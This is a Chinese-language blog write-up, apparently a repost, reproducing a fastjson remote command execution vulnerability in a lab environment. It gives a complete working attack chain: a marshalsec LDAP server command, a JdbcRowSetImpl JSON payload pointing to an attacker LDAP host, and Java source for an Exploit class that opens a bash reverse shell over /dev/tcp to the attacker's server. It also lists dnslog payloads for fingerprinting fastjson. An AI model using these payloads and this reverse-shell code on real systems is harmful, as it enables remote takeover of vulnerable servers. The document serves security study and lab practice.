fastjson 遠程命令執行復現


0x00 簡介

fastjson 是阿里巴巴的開源JSON解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。

Fastjson是一個Java庫,可用於將Java對象轉換為其JSON表示形式。它還可以用於將JSON字符串轉換為等效的Java對象,fastjson爆出多個反序列化遠程命令執行漏洞,攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。

0x02影響范圍

Fastjson < 1.2.68

Fastjson爆出的繞過方法可以通殺1.2.68版本以下所有

0x03漏洞復現

參考鏈接:

https://www.cnblogs.com/renhaoblog/p/13033723.html

 

 

原理是:就是要理解rmi/ldap 是什么。簡單來說就是遠程方法調用。

A去調用主機c的rmi里的惡意java程序。 構造的惡意java程序可以是寫文件、反彈shell等。構造什么就執行什么。(docker部署環境很多包都沒裝,所以反彈shell比較直觀)

所以我們需要 :

主機A  漏洞服務器     

主機C rmi/ladp服務器   

主機B  惡意java類   

(此處B、C是一台服務器的不同端口,最終監聽反彈shell也是該服務器,nc監聽 3333) 

 

配置如下:

主機A   vulfocus fastjson漏洞主機  113.**.3 

 

 

 

主機B、C 分別為vps的兩個服務。107.*.*.24

主機B 開啟ldap服務主機。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://107.*.*.24:9090/#Exploit 9999

 

 

 

主機C  開啟web服務,可以訪問我們編譯好的class文件。  開啟服務命令,python3 -m http.server  9090(執行此命令目錄為存在ExPloit.class文件目錄)

 

 

 

0x04工具鏈接

工具:marshalsec,需要用mvn打包一下,

github:https://github.com/mbechler/marshalsec

鏈接: https://pan.baidu.com/s/1wfPsOAWKuzh8MVGRT6CSFg 提取碼: yk3i 復制這段內容后打開百度網盤手機App,操作更方便哦

 

 burp   payload如下:

 

 

{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://107.*.*.24:9999/Exploit",      此處為ldap 地址非 python web服務地址。
"autoCommit":true
}

nc反彈shell

 

 攻擊反彈shell腳本

使用 javac  Exploit.java生成  Exploit.class文件。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
        public Exploit() throws Exception {
                Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/107.*.*.24/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"});
                InputStream is = p.getInputStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(is));
                String line;
                while((line = reader.readLine()) != null) {
                        System.out.println(line);
                }
                p.waitFor();
                is.close();
                reader.close();
                p.destroy();
        }
        public static void main(String[] args) throws Exception {
        }
}

0x05判斷使用fastjson的方法

未知目標是否使用 Fastjson ,但站點有原始報錯回顯

如果站點有原始報錯回顯,可以用不閉合花括號的方式進行報錯回顯,報錯中往往會有fastjson的字樣

例如

 

 

 

 

無回顯,通過DNS回顯的方式盲區分 Fastjson 和 Jackson

我使用以下payload測試

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

 

 

最新版本1.2.67依然可以通過dnslog判斷后端是否使用fastjson

1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

1 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

POC:

要嵌套在里面zeo里面

1{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}
3 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
5 {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
6 Set[{"@type":"java.net.URL","val":"dnslog"}]
7 Set[{"@type":"java.net.URL","val":"dnslog"}
8 {{"@type":"java.net.URL","val":"dnslog"}:0

 

內容參考鏈接如下:

https://blog.csdn.net/god_zzZ/article/details/107122487


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM